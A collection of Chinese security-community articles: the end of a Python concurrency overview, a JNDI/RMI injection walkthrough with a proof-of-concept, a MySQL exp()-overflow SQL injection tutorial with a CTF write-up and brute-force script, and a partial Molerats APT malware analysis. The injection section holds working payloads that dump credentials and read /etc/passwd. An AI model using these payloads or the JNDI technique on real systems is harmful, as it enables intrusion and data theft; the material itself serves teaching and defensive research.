3.3也在进程中引入了对应的此模块。此外，还有Timer可以用来处理各种超时情况，比如终结subprocess创建的进程。
创建多线程有两种方式：一种是继承threading.Thread类，然后实现run方法，在其中实现功能逻辑；另一种就是直接threading.Thread(target=xxx)的方式来实现，与进程模块大同小异。具体使用可以参考官方文档，这里就不赘述了。
#### 协程
前面我们提到了，Python的线程（包括进程）其实都是对系统原生内核级线程的包装，切换时，需要在内核与用户态空间来来回回，开销明显会大很多，而且多个线程完全由系统来调度，什么时候执行哪个线程是无法预知的。相比而言，协程就轻量级很多，是对线程的一种模拟，原理与内核级线程类似，只不过切换时，上下文环境保存在用户态的堆栈里，协程“挂起”的时候入栈，“唤醒”的时候出栈，所以其调度是可以人为控制的，这也是“协程”名字的来由，大伙协作着来，别总抢来抢去的，伤感情。
实际上，协程本身并不是真正的并发，任何时候只有一个协程在执行，只是当需要耗时操作时，比如I/O，我们就让它挂起，执行别的协程，而不是一直干等着什么也做不了，I/O完毕了我们再切换来继续执行，这样可以大大提高效率，而且不用再费心费力去考虑同步问题，简单高效。与传统线程、进程模型相比，协程配上事件循环（告诉协程什么时候挂起，什么时候唤醒），简直完美。Python里的协程也是后来才逐渐加入的，基本分三个阶段，过程比较坎坷，与”携程“差不多，时不时被骂几句。
#### yield/send
这算是第一个阶段，其实yield主要是用来做生成器的，不要告我不知道什么叫生成器，这多尴尬。Python
2.5时，yield变成了表达式（之前只是个语句），这样就有了值，同时PEP
342引入了send，yield可以暂停函数执行，send通知函数继续往下执行，并提供给yield值。仔细一看，好巧啊，这么像协程，于是屁颠屁颠的把生成器用来实现协程，虽然是半吊子工程，不过还不错的样子，总比没有的好，自此我们也可以号称是一门有协程的现代高级编程语言了。
可以这么说，对于不考虑yield返回值情形，我们就把它当作普通的生成器，对于考虑yield返回值的，我们就可以把它看作是协程了。
但是，生成器干协程的活，总归不是那么专业。虽然生成器这货能模拟协程，但是模拟终归是模拟，不能return，不能跨堆栈，局限性很大。说到这里，连不起眼的Lua都不屑于和我们多说话，Go则在Goroutine（说白了还不是类协程）的道上一路狂奔，头都不回，而Erlang轻轻抚摸了下Python的头，说句：孙子诶。
既然Python 2.x中的yield不争气，索性我们来改造下咯，于是Python 3.3（别老抱着Python
2不放了）中生成器函数华丽丽的可以return了，顺带来了个yield from，解决了旧yield的短板。
#### asyncio/yield from
这算第二阶段，Python 3.3引入yield from（PEP
380），Python3.4引入asyncio。其实本质上来说，asyncio是一个事件循环，干的活和libev差不多，用来调度协程，同时使用@asyncio.coroutine来把函数打扮成协程，搭配上yield
from实现基于协程的异步并发。
与yield相比，yield
from进化程度明显高了很多，不仅可以用于重构简化生成器，进而把生成器分割成子生成器，还可以像一个双向管道一样，将send的信息传递给内层协程，获取内层协程yield的值，并且处理好了各种异常情况，`return
(yield from xxx)`也是溜溜的。
接下来看一个yield from Future的例子，其实就是asyncio.sleep(1)：
#### async/await
这是第三个阶段。Python 3.5引入了async/await，没错，我们就是抄C#的，而且还抄出了具有Python特色的`async
with`和`async for`。某种程度上看，async/await是asyncio/yield
from的升级版，这下好了，从语言层面得到了的支持，我们是名正言顺的协程了，再也不用寄人篱下，委身于生成器了（提裤子不认人啊，其实还不是asyncio帮衬着）。也是从这一版本开始，生成器与协程的界限要逐渐开始划清。
对比下async/await和asyncio/yield from，如此相似，不过还是有一些区别的，比如await和yield
from接受的类型，又比如函数所属类型等，所以二者是不能混用的：
不过话说回来，最近几个版本的Python引入的东西真不少，概念一个一个的，感觉已经不是原来那个单纯的Python了。悲剧的是用的人却不多，周边生态一片贫瘠，社区那帮人都是老司机，您车开这么快，我等赶不上啊，连Python界的大神爱民（Armin
Ronacher，我是这么叫的，听着接地气）都一脸蒙逼，狂吐槽（ <http://lucumr.pocoo.org/2016/10/30/i-dont-understand-asyncio> ），眼看着就要跑去搞rust了。不过，吐槽归吐槽，这个毕竟是趋势，总归是要了解的，技多不压身，乱世出英雄，祝你好运。
题外话，搞安全么，难免写个爬虫、发个http请求什么的，还在用requests吗，去试试aiohttp，谁用谁知道。
#### greenlet/gevent与tornado
除了官方的协程实现外，还有一些基于协程的框架或网络库，其中比较有名的有gevent和tornado，我个人强烈建议好好学学这两个库。
gevent是一个基于协程的异步网络库，基于libev与greenlet。鉴于Python 2中的协程比较残疾，greenlet基本可以看作是Python
2事实上的协程实现了。与官方的各种实现不同，greenlet底层是C实现的，尽管stackless
python基本上算失败了，但是副产品greenlet却发扬光大，配合libev也算活的有声有色，API也与标准库中的线程很类似，分分钟上手。同时猴子补丁也能很大程度上解决大部分Python库不支持异步的问题，这时候nodejs的同学一定在偷笑了：Python这个渣渣。
tornado则是一个比较有名的基于协程的网络框架，主要包含两部分：异步网络库以及web框架。东西是好东西，相比twisted也挺轻量级，但是配套不完善啊，到现在我都没找到一个好用的MySQL驱动，之前用的Redis驱动还坑的我不要不要的。我觉得用作异步网络库还是相当不错的，但是作为web框架吧...就得看人了，我见过很多人直接用普通的MySQLdb，还告我说tornado性能高，你在逗我吗，用普通的MySQL驱动配合异步框架，这尼玛当单线程在用啊，稍有差错IOLoop
Block到死，我要是tornado我都火大。随着Python的发展，tornado现在也已经支持asyncio以及async/await，不过我很久没用了，具体如何请参考文档。
对比gevent与tornado，本质上是相同的，只是二者走了不同的道路，gevent通过给标准库的socket、thread、ssl、os等打patch，采用隐式的方式，无缝的把现有的各种库转换为支持异步，避免了为支持异步而重写，解决了库的问题，性能也是嗖嗖的，随随随便跑万儿八千个patch后的线程玩一样，然而，我对这种隐藏细节、不可掌控的黑魔法总是有一丝顾虑；另一方的tornado则采用显示的方式，把调度交给用户来完成，清晰明了，结果就是自成一套体系，没法很好的利用现有的很多库，还得显示的调用IOLoop，单独使用异常别扭，你可以试试nsq的官方Python库，都是泪。
本文只是对Python中并发编程的一个全局性的介绍，帮助不了解这方面的同学有一个概念，方便去针对学习，若要展开细节，恐怕三天三夜也讲不完，而我的碗还没洗，所以这次就到此为止。其实，作为一门通用胶水语言，我觉得，无论工作是哪个方向，好好学习一下Python是有必要的。知道requests那哥们吗，写完requests后就从路人大胖子变成了文艺摄影小帅哥，而且还抱得美人归，你还等什么。退一步讲，万一安全搞不好，还可以考虑进军目前火热的机器学习领域。
所以，人生苦短，我用Python。 | 社区文章 |
# 【技术分享】关于 JNDI 注入
|
##### 译文声明
本文是翻译文章，文章来源：n1nty
原文地址：<https://mp.weixin.qq.com/s/YeskekfkHhHH4kA-02W7Yg>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
一篇炒冷饭的文章，全当笔记在写了，这个漏洞涉及到 JNDI 与 RMI。 这里我主要只写一些其他的 “JNDI 注入”
分析文章没写过的东西，如果你看的不是很明白的话可以配合其他人写的分析文章一起看。
**需要知道的背景知识**
JNDI 的概念不细写了，只需要知道我们通过 JNDI 的接口就可以存取 RMI Registry/LDAP/DNS/NIS 等所谓 Naming
Service 或 DirectoryService 的内容
JNDI API 中涉及到的常见的方法与接口的作用，如：Context.lookup
JNDI 中 ServiceProvider 以及 ObjectFactory 的作用
**
**
**Reference 类的作用**
RMI 的相关基础知识，可以看我另一篇公众号，我记的非常全。
**JNDI Service Provider**
JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP
的关系。前者是统一抽象出来的接口，而后者是对接口的具体实现。如上面提到的默认的 JNDI Service Provider 有 RMI/LDAP 等等。。
**ObjectFactory**
每一个 Service Provider 可能配有多个 Object Factory。Object Factory 用于将 Naming Service（如
RMI/LDAP）中存储的数据转换为 Java 中可表达的数据，如 Java 中的对象或 Java 中的基本数据类型。 JNDI
的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个
ObjectFactory 进行交互的。
**PoC**
public static void main( String[] args ) throws Exception
{
// 在本机 1999 端口开启 rmi registry，可以通过 JNDI API 来访问此 rmi registry
Registry registry = LocateRegistry.createRegistry(1999);
// 创建一个 Reference，第一个参数无所谓，第二个参数指定 Object Factory 的类名：
// jndiinj.EvilObjectFactory
// 第三个参数是 codebase，表明如果客户端在 classpath 里面找不到
// jndiinj.EvilObjectFactory，则去 http://localhost:9999/ 下载
// 当然利用的时候这里应该是一个真正的 codebase 的地址
Reference ref = new Reference("whatever",
"jndiinj.EvilObjectFactory", "http://localhost:9999/");
// 利用 ReferenceWrapper 将前面的 Reference 对象包装一下
// 因为只为只有实现 Remote 接口的对象才能绑定到 rmi registry 里面去
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("evil", wrapper);
}
**
**
**EvilObjectFactory**
代码如下：
public class EvilObjectFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name,
Context nameCtx,
Hashtable<?, ?> environment)
throws Exception {
System.out.println("executed");
return null;
}
}
**
**
**Victim**
Victim 需要执行 Context.lookup，并且 lookup 的参数需要我们可控。
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
// ctx.lookup 参数需要可控
System.out.println(ctx.lookup("rmi://localhost:1999/evil"));
}
**我的疑问**
最开始看到 PoC 的时候，我以为这是 RMI Class Loading 导致的受害者会去指定的 codebase
下载我们指定的类并去实例化，因为产生了很大的疑惑。
因为 RMI Class Loading 是有条件限制的，比如说默认禁用，以及与 JVM 的 codebase 配置有很大的关系。
PoC 里面向 rmi registry 绑定 ReferenceWrapper 的时候，真正绑定进去的应该是它的 Stub 才对，Stub
的对象是怎么造成客户端的代码执行的。
因为懒，这个疑问一直存在了很长时间，直到我开始正式去调试跟一下这个漏洞看看到底发生了什么。后来我看在 marshalsec 那篇 pdf
里面也提到了这个问题。
**Victim 端的触发流程**
1\. ctx.lookup 最终会进入 com.sun.jndi.rmi.registry.RegistryContext.lookup。因为传入的
jndi url 是以 rmi:// 开头的。
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
2\. 在 lookup 里面通过 this.registry.lookup 查找出远程对象，赋给 var2。这里的 var2 确实是
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub 类型的。证明我的想法是没有错的，存入 rmi
registry 的确实是一个 stub。
3\. 进入 this.decode
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ?
((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2,
this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
4\. this.decode 内将 stub 还原成了 Reference，这里解决了我一个疑惑。随后进入
NamingManager.getObjectInstance
5\. NamingManager.getObjectInstance 内部发现当前 JVM 中不存在 Reference 中指定的 object
factory，就自动去我们指定的 codebase 地址下载（并不是利用的 RMI Class Loading
机制，所以解决了我另一个疑惑）并实例化我们指定的 Object Factory 类，并调用其
javax.naming.spi.ObjectFactory#getObjectInstance 方法。
**参考资料**
http://docs.oracle.com/javase/jndi/tutorial/TOC.html
http://www.javaworld.com/article/2076888/core-java/jndi-overview–part-1–an-introduction-to-naming-services.html | 社区文章 |
## 前言
前段时间做 2021 虎符杯 CTF Finalweb Hatenum 这道题时学到了使用 MySQL exp()
函数进行注入的新姿势，这里系统的总结一下。话不多少，开搞！
## MySQL exp() 函数
MySQL中的EXP()函数用于将E提升为指定数字X的幂，这里E(2.718281 ...)是自然对数的底数。
EXP(X)
该函数返回E的X次方后的值，如下所示：
mysql> select exp(3);
+--------------------+
| exp(3) |
+--------------------+
| 20.085536923187668 |
+--------------------+
1 row in set (0.00 sec)
mysql>
该函数可以用来进行 MySQL 报错注入。但是为什么会报错呢？我们知道，次方到后边每增加 1，其结果都将跨度极大，而 MySQL 能记录的 Double
数值范围有限，一旦结果超过范围，则该函数报错。这个范围的极限是 709，当传递一个大于 709 的值时，函数 exp() 就会引起一个溢出错误：
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql>
除了 exp() 之外，还有类似 pow() 之类的相似函数同样是可利用的，他们的原理相同。
## 使用 exp() 函数进行报错注入
* 使用版本：MySQL5.5.5 及以上版本
现在我们已经知道当传递一个大于 709 的值时，函数 exp() 就会引起一个溢出错误。那么我们在实际利用中如何让 exp()
报错的同时返回我们想要得到的数据呢？
我们可以用 `~` 运算符按位取反的方式得到一个最大值，该运算符也可以处理一个字符串，经过其处理的字符串会变成大一个很大整数足以超过 MySQL 的
Double 数组范围，从而报错输出：
mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
mysql> select exp(~(select * from(select version())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))'
mysql> select exp(~(select * from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'ctf' from dual)))'
mysql>
如上图所示，成功报错并输出了数据。但是事实证明，在 MySQL>5.5.53 之后，exp() 报错不能返回我们的查询结果，而只会得到一个报错：
而在脚本语言中，就会将这些错误中的一些表达式转化成相应的值，从而爆出数据。
### 注出数据
* 得到表名：
mysql> select exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'flag,users' from dual)))'
mysql>
* 得到列名：
mysql> select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name='users')x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'id,username,password' from dual)))'
mysql>
* 检索数据：
mysql> select exp(~ (select*from(select group_concat(id, 0x7c, username, 0x7c, password) from users)x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '1|admin|123456,2|whoami|657260,3|bunny|864379' from dual)))'
mysql>
* 读取文件（有13行的限制）：
mysql> select exp(~(select * from(select load_file('/etc/passwd'))x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' from dual)))'
### 一蹴而就
这个查询可以从当前的上下文中 dump 出所有的 tables 与 columns，我们也可以 dump
出所有的数据库，但由于我们是通过一个错误进行提取，它会返回很少的结果：
mysql> select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
ctf::flag::id
ctf::flag::flag
ctf::users::id
ctf::users::username
ctf::users::password' from dual)))'
mysql>
### Injection in Insert
根据 Insert 位置的注入方式按部就班就好了。假设原来的插入语句如下：
insert into users(id,username,password) values(4,'john','679237');
我们可以在 username 或 password 位置插入恶意的 exp() 语句进行报错注入，如下所示：
# 在username处插入: john' or exp(~(select * from(select user())x)),1)#, 则sql语句为: insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1)#','679237');
mysql> insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1);#','679237');;
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql>
爆出所有数据：
# 在username处插入: john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1)#
mysql> insert into users(id,username,password) values(4,'john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1);#','679237');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
ctf::flag::id
ctf::flag::flag
ctf::users::id
ctf::users::username
ctf::users::password' from dual)))'
mysql>
### Injection in Update
根据 Update 位置的注入方式按部就班就好了。假设原来的插入语句如下：
update users set password='new_value' WHERE username = 'admin';
我们可以在 new_value 或后面的 where 子句处插入恶意的 exp() 语句进行报错注入，如下所示：
# 在new_value处插入: abc' or exp(~(select * from(select user())x))#, 则sql语句为: update users set password='abc' or exp(~(select * from(select user())x))# WHERE username = 'admin';
mysql> update users set password='abc' or exp(~(select * from(select user())x));# WHERE username = 'admin';
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql>
## 使用 exp() 函数进行盲注
有的登录逻辑会根据 sql 语句的报错与否返回不同的结果，如果我们可以控制这里得报错的话便可以进行盲注。下面我们通过一个 CTF 例题来进行详细探究。
### 2021 虎符杯 CTF Finalweb Hatenum
进入题目是一个登录页面：
题目给出了源码：
* home.php
<?php
require_once('config.php');
if(!$_SESSION['username']){
header('location:index.php');
}
if($_SESSION['username']=='admin'){
echo file_get_contents('/flag');
}
else{
echo 'hello '.$_SESSION['username'];
}
?>
登录进去便能得到flag。
* login.php
<?php
require_once('config.php');
array_waf($_POST);
if(isset($_POST['username'])&&isset($_POST['password'])&&isset($_POST['code'])){
$User = new User();
switch ($User->login($_POST['username'],$_POST['password'],$_POST['code'])) {
case 'success':
echo 'login success';
header('location:home.php');
break;
case 'fail':
echo 'login fail';
header('location:index.php');
break;
case 'error':
echo 'error';
header('location:index.php');
break;
}
}
else{
die('no use');
}
?>
* config.php
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}
}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){ // 如果sql语句报错就返回error
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}
}
}
function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}
function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}
function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}
过滤的死死地，把我会的都过滤了，甚至过滤了一些我压根不会的。但还是遗漏了一些字符，比如反斜杠 `\`、括号 `()` 等。
有了反斜杠 `\` 之后，我们可以在 username 中输入转义符将前面的引号转义，造成引号错误闭合，实现万能密码：
"username": "admin\\",
"password": "||1#",
"code": "xxx"
但是还需要 code 才行，所以我们的思路是使用 rlike（即regexp）按照之前regexp匹配注入的方法，将 code 匹配出来。
我们又在 login 函数中注意到：
if($this->conn->error){ // 如果sql语句报错就返回error
return 'error';
}
如果 sql 语句出现错误便返回字符串 "error"，然后进入到 login.php 中就会返回
error。根据这里的特性，如果我们可以控制这里的报错的话，便可以进行盲注。
但是怎么构造呢？
在网上的看到了大佬的思路是真的巧妙：
||exp(710-(... rlike ...))
即如果 `(... rlike ...)` 中的语句执行匹配后的结果为True，经过减号转换后为 `exp(710-1)`
后不会溢出；若为false，转换为 `exp(710-0)` 后则会溢出并报错。
大致的 payload 如下：
'username': 'admin\\',
'password': '||exp(710-(code rlike binary {0}))#',
'code': '1'
但是由于过滤了引号，所以 rlike 无法直接引入 `%` 和 `^`，按照之前regexp注入的操作我们可以将 `^` 联通后面猜测的字符一块做 Hex
编码，即：
def str2hex(string): # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result
......
passwd = str2hex('^' + name + j)
payloads = payload.format(passwd).replace(' ',chr(0x0c))
postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'
}
但是令我没有想到的是，题目还限制了 password 位置匹配的字符串长度，最长只能匹配 4 个字符，如果超过了 4 个则会返回 Huge num
detected 错误。那这样的话我们便不能在 payload 里面使用 `^`
了，也就没有办法在正则表达式中确定首位的位置，我们只能知道有这么几个连续的字符，就像下面这样：
然后首先爆破出前三位来，然后再通过前 3 位爆第4位，再通过第2、3、4位爆第5位......
编写如下脚本进行爆破：
import requests
import string
def str2hex(string): # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result
strs = string.ascii_letters + string.digits + '_'
url = "http://be2ae7e7-9c0e-4f21-8b3a-97e28c20d79c.node3.buuoj.cn/login.php"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = '||exp(710-(code rlike binary {0}))#'
if __name__ == "__main__":
name = ''
z = 3
for i in range(1, 40):
for j in strs:
passwd = str2hex(name + j)
payloads = payload.format(passwd).replace(' ',chr(0x0c))
postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
#print(r.text)
if "fail" in r.text:
name += j
print(j, end='')
break
if len(name) >= 3:
for i in range(1, 40):
for j in strs:
passwd = str2hex(name[z - 3:z] + j) # ergh
payloads = payload.format(passwd).replace(' ', chr(0x0c))
postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
# print(r.text)
if "fail" in r.text:
name += j
print(j, end='')
z += 1
break
出结果了，别高兴的太早，因为这里陷入了一个死循环当中：
erghruigh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh......
可以看到爆出 `erghruigh2` 之后不停地循环出现 `uygh2`，所以我们可以推测出真正的 code 里面有两个 `gh2`，其中位于前面的那个
`gh2` 后面紧跟着一个 `u`，即 `gh2u`。后面那个 `gh2` 后面跟的是那个字符我们还不能确定，那我们便可以测试一下除了 `u`
以外的其他字符，经测试第二个 `gh2` 后面跟的字符是 `3`，即 `gh23`，然后继续根据 `h23` 爆破接下来的字符就行了，最后得到的 code
如下：
erghruigh2uygh23uiu32ig
然后直接登陆即可得到 flag：
## Ending...... | 社区文章 |
# 疑似Molerats APT组织针对中东地区的最新攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
近期，360威胁情报中心捕获到一个专门为阿拉伯语使用者设计的诱饵文档。钓鱼文档为携带恶意宏的Office
Word文档，恶意宏代码最终会释放并执行一个Enigma Virtual
Box打包的后门程序。后门程序内置了一个包含一些人名或歌剧电影名相关的关键字表来分发控制指令，并执行对应的木马功能，进一步控制受害者的计算机设备。360威胁情报中心经过溯源和关联后发现，该攻击活动疑似为Molerats
APT组织所为。
并且在360威胁情报中心第一时间通过社交渠道分享了该样本的相关信息[14]后，我们发现C2域名在数天内就被解析到一个不被攻击者控制的服务器上，避免了更多的攻击行为发生。也体现了利用社交网络快速传递威胁情报的价值。
## Molerats活动记录
Molerats（别名[1]：Gaza Hackers Team，Gaza cybergang，Operation Molerats，Extreme
Jackal，Moonlight）的相关活动可追溯到2012年初。2012年1月，自称为“Gaza Hackers
Team”的黑客组织攻击了以色列消防和救援服务机构的网站[2]。同年10月，以色列警察部门在他们的计算机上发现了可疑文件，为保险起见断开了该部门所有计算机的网络连接[3]。趋势科技在随后的分析报告[4]中指出这次攻击所使用的后门程序是Xtreme
RAT，用于窃取信息、接收和执行攻击者的远程指令，并发现它的变种还被用来攻击美国、英国、土耳其、新西兰等多个国家政府机构[5]。
FireEYE在2013年发布的报告中[6]对攻击以色列警察部门的事件进行了回顾，把该事件与Gaza Hackers
Team关联起来并命名为Molerats，此外还揭露了组织在攻击过程中使用了Poison
Ivy等其它恶意程序。FireEYE在随后一年的报告中[7]写道，种种迹象表明该组织不仅关注安全公司对其进行的跟踪分析，而且还试图通过避免使用那些明显独特的标识与模式来增大分析溯源的难度。
进入2015年后，该组织的活动变得更加活跃。卡巴斯基收集到了许多与该组织相关的IoC信息，并指出IT（Information
Technology）和IR（Incident Response）部门的雇员是其优先选择的目标[8]。
2016年，ClearSky揭露了该组织发起的DustSky行动[9][10]，这轮有针对性的攻击在ClearSky发布第一篇报告后中止了半个多月，并在之后的攻击中使用了C++重写的恶意程序，并转换了攻击目标。由于Molerats组织在这次行动中留下了更多的线索，ClearSky把该组织和哈马斯（伊斯兰抵抗运动组织）关联了起来。
2017年6月下旬，360威胁情报中心发现了Molerats组织的新样本[11]，其特点是恶意代码完全使用网上流行的标准攻击框架Cobalt
Strike生成，配合CVE-2017-0199漏洞通过鱼叉邮件投递。10月下旬，卡巴斯基对该组织当年的活动做了一个较为详细的更新，同时列出了可能被该组织使用的Android恶意程序[12]。
## 样本分析
### Dropper（Macros）
文件名 | 1.doc
---|---
MD5 | 063a50e5e4b4d17a23ac8c8b33501719
文档作者 | Motb3A
捕获到的诱饵文档是一个Office Word文档，其内嵌VBA宏，当受害者打开文档并启用宏后，将自动执行恶意宏代码。文档内容使用阿拉伯语编写，内容如下：
内容翻译如下：
由于宏被加密处理，我们直接提取相关宏代码如下：
宏代码主要功能是在%userprofile%目录下释放并执行wmsetup.vbs脚本：
### wmsetup.vbs
该VBS脚本通过Base64解码数据，解码后得到一个可执行文件，并将其写入%temp%/ihelp.exe
最后设置计划任务启动ihelp.exe，计划任务如下：
### Backdoor（Ihelp.exe）
文件名 | ihelp.exe
---|---
MD5 | 46173adc26721fb54f6e1a1091a892d4
加壳信息 | Enigma Virtual Box
最终执行的木马后门是ihelp.exe，该样本使用Enigma Virtual Box加壳：
该后门对应的C2被加密存放在配置文件中，样本运行时首先会解密自身的配置文件，得到C2地址（smartweb9.com）：
而该域名后续已经被Sinkhole到了IP地址：198.54.117.244，不过截止文章完成时攻击者的服务器（79.124.60.40）尚未关闭，所以可以通过指定C2域名到攻击者的服务器IP地址（79.124.60.40）继续进行分析。通过其数据包和相关代码可以看出网络通信使用的是SFML库（一个游戏开发使用的库：https://github.com/SFML）：
该后门通过一个内置的关键字表，构造格式化的请求上线数据，通信中所使用的字段都与这个关键字表有关系。该表中的内容都与一些人名或歌剧电影名相关，这种方式和Talos之前的一篇报告中[13]提到的样本也有相似之处。
Jessie | Lilliana | Jocelynn | Londyn
---|---|---|---
Ari | Paloma | Carmen | Cassandra
Zachariah | Randy | Charlee | Demi
Annika | Brice | Alyssa | Erik
Ariel | Juniper | Moises | Jeremy
Hunter | Jaydon | Freya | Regina
Janelle | Lillian | Aniyah | Kenia
Estelle | Mara | Daisy | Guadalupe
Demetrius | | |
上线数据由多个子块构成，子块中的部分数据进行Base64编码后拼接在对应选择的字符串后。
所有子块准备完毕后，对整个块再次进行加密和Base64编码，最后通过HTTP POST发送给C2。
随后将接收并解密C2返回的数据，解密后的数据中包含关键字Demi，猜测是其目的是通知客户端上传用户数据。
接着样本会获取本机的一些信息，如用户名和计算名等，以及一个类似UUID的字符串，随后将这些信息以同样方式加密编码后回传给C2。
从C2返回的数据可能包含一些配置信息，后门程序在处理完这些数据后开始周期性的获取攻击者的指令，完成文件管理、远程SHELL等功能。以下是一些还原的木马功能代码片段。
* 远程SHELL
* 文件处理
## Sinkhole
由于360威胁情报中心在发现该样本后立即在社交渠道分享了该样本的相关信息[14]，以便广大安全厂商能立即封堵该攻击，所以在后续分析过程中我们发现C2域名至少在2月10日前就已经被解析到一个不被攻击者控制的服务器（198.54.117.244），很可能已经被安全公司或相关机构接管：
通过查询VirusTotal可以发现接管了C2域名的IP地址（198.54.117.244）绑定了大量的恶意域名：
通过360威胁分析平台可以看到，接管了C2域名的IP地址与木马的C2域名属于同一家域名注册商：Namecheap
C2域名smartweb9.com同样也是通过Namecheap注册：
所以我们有理由相信，在360威胁情报中心共享该样本信息后，就立即有相关机构通知该域名注册商接管了该域名，以避免更多攻击危害发生。
## 溯源与关联
360威胁情报中心通过对样本详细分析后发现，此次攻击的幕后团伙疑似为Molerats APT组织，部分关联依据如下。
* **诱饵文档内容相似**
与卡巴斯基于2017年曝光的Gaza Cybergang（Molerats）活动中部分诱饵文档内容高度相似，都与加沙地区和哈马斯相关：
* **后续木马的相似性**
与之前卡巴斯基曝光的Gaza Cybergang（Molerats）活动中的后续木马一致，都采用Enigma Virtual
Box打包，并都伪装成微软官方的应用程序：
* **被注释的下载地址**
